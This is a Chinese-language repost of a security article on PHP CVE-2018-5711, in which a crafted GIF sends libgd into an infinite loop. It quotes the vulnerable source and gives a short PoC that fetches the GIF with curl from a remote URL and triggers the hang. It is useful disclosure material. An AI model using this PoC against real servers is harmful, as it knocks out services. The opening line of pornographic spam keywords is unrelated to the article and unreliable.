日本综合一区二区|亚洲中文天堂综合|日韩欧美自拍一区|男女精品天堂一区|欧美自拍第6页亚洲成人精品一区|亚洲黄色天堂一区二区成人|超碰91偷拍第一页|日韩av夜夜嗨中文字幕|久久蜜综合视频官网|精美人妻一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時間:8:30-17:00
你可能遇到了下面的問題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營銷解決方案
PHP漏洞|一張GIF圖片就能讓服務(wù)器宕機(jī)的PHP漏洞

最近,臺灣Web漏洞挖掘大牛Orange Tsai在對一些Web開發(fā)框架和程序?qū)崿F(xiàn)模塊進(jìn)行安全審核的過程中,發(fā)現(xiàn)了一些有意思的漏洞。就比如說,這個PHP的CVE-2018-5711,它能用一張GIF圖片就可導(dǎo)致服務(wù)器發(fā)生崩潰直至宕機(jī),在現(xiàn)實(shí)中非常容易利用。在此,Orange Tsai簡單地介紹了這個漏洞。

漏洞影響的PHP版本 包含以下PHP系列和其它所有PHP版本

PHP 5 < 5.6.33

PHP 7.0 < 7.0.27

PHP 7.1 < 7.1.13

PHP 7.2 < 7.2.1

漏洞細(xì)節(jié) 漏洞存在于文件ext/gd/libgd/gdgifin.c中,其中在LWZReadByte_函數(shù)中存在一個循環(huán)(while-loop):

 
 
 
  1. do {
  2.     sd->firstcode = sd->oldcode =
  3.     GetCode(fd, &sd->scd, sd->code_size, FALSE, ZeroDataBlockP);
  4. } while (sd->firstcode == sd->clear_code);

GetCode函數(shù)僅只是一個包裝類,GetCode_才是真正的執(zhí)行體:

 
 
 
  1. static int
  2. GetCode_(gdIOCtx *fd, CODE_STATIC_DATA *scd, int code_size, int flag, int *ZeroDataBlockP)
  3. {
  4.     int           i, j, ret;
  5.     unsigned char count;
  6.        ...
  7.     if ((count = GetDataBlock(fd, &scd->buf[2], ZeroDataBlockP)) <= 0)
  8.        scd->done = TRUE;
  9.        ...

GetCode_ 會調(diào)用GetDataBlock來讀取GIF圖片中的數(shù)據(jù):

 
 
 
  1. static int
  2. GetDataBlock_(gdIOCtx *fd, unsigned char *buf, int *ZeroDataBlockP)
  3. {
  4.  unsigned char   count;
  5.  if (! ReadOK(fd,&count,1)) {
  6.      return -1;
  7.  }
  8.  *ZeroDataBlockP = count == 0;
  9.  if ((count != 0) && (! ReadOK(fd, buf, count))) {
  10.      return -1;
  11.  }
  12.  return count;
  13. }

以上就是涉及到的漏洞代碼,你有發(fā)現(xiàn)一些端倪嗎?

該漏洞依賴于從整形(int)到無符號字符(unsigned char)的類型轉(zhuǎn)換。就像上述的:如果GetDataBlock_返回-1,則第400行中的scd->done將會被設(shè)置為True,并停止while循環(huán)。但是其定義的count是無符號字符,它總是從0到255的正數(shù),所以這種循環(huán)停止動作是不會被觸發(fā)執(zhí)行的。

因此,最終結(jié)果就是,一張GIF圖片就可以實(shí)現(xiàn)無限循環(huán),導(dǎo)致服務(wù)器資源耗盡,直到崩潰宕機(jī)。

PoC

 
 
 
  1. $ curl -L https://git.io/vN0n4 | xxd -r > poc.gif
  2. $ php -r 'imagecreatefromgif("poc.gif");'
  3.   Infinite loop here...

由于現(xiàn)實(shí)網(wǎng)絡(luò)中,很多服務(wù)器都會用GD圖形的擴(kuò)展庫,對用戶上傳的圖片作重新尺寸調(diào)整處理,所以該漏洞具有很強(qiáng)的現(xiàn)實(shí)危害。

后記 Orange Tsai后續(xù)會公開更多0-day和與該漏洞相關(guān)的內(nèi)容。

漏洞參考:

https://bugs.php.net/bug.php?id=75571

http://php.net/ChangeLog-7.php

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5711


網(wǎng)站題目:PHP漏洞|一張GIF圖片就能讓服務(wù)器宕機(jī)的PHP漏洞
網(wǎng)站鏈接:http://www.dlmjj.cn/article/cdjegij.html